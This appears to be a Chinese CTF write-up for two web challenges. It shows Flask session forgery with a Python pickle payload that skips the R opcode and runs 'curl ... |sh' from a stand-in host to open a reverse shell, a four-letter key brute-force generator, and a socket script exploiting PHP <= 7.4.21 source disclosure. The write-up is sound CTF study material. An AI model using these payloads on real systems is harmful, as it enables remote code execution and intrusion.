考察的是python反序列化加session伪造

image-20230312161118245

题目给的提示是查看cookie

这道题用到的工具 flask-unsign

这道题的话是禁用了R指令 所以的话我们就不能使用__reduce__了,那么我们就得想其他的办法例如b,c指令集等等

这里的话可以参考这篇文章 python 反序列化

这里是先随便注册一下,然后拿到cookie

image-20230314211006068

注册后去查看cookie

然后利用工具对cookie进行解码(flask)

image-20230314211102653

解码后在拿userinfo里的东西拿去解码

image-20230314211249493

解码后得到这两个关键信息,然后去上面给的文章里的payload进行修改

image-20230314211345239

image-20230314211411148

就是修改这两个地方

payload

1
b'\x80\x03cuserinfo\nUser\n)\x81}(V__setstate__\ncos\nsystem\nubVcurl https://your-shell.com/ip:port |sh\nb.'

然后对这个进行base64进行加密,并把加密后的结果替换掉userinfo里的东西,然后利用工具进行加密(这里的密钥是 CCTF)

然后去替换掉cookie,然后刷新访问个人信息,就能反弹shell到自己的服务器上了,记得要先进行监听

这里生成所有四位大写字母组成的字符串代码

1
2
3
4
5
6
7
8
9
10
11
12
import string
import itertools

# 大写字母列表
uppercase_letters = list(string.ascii_uppercase)

# 生成所有四位大写字母组成的字符串
all_combinations = itertools.product(uppercase_letters, repeat=4)

# 打印所有生成的字符串
for combination in all_combinations:
print(''.join(combination))

这道题是考察源码泄露

就是考察的这篇文章给出的漏洞 PHP <= 7.4.21远程源码泄露漏洞

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket

host = "219.219.61.234:49155"
path = "/"
if path == "":
path = "/"
payload = f"GET {path} HTTP/1.1\nHost: {host}\n\nGET /xxx.ccc HTTP/1.1\n\n"
try:
ip, port = host.split(":")
except:
ip = host
port = 80
s1 = socket.socket()
s1.connect((ip, int(port)))
s1.send(payload.encode())
text = s1.recv(4096).decode()
print(text)

这里我是拿去kali跑的,因为pycharm跑不出来结果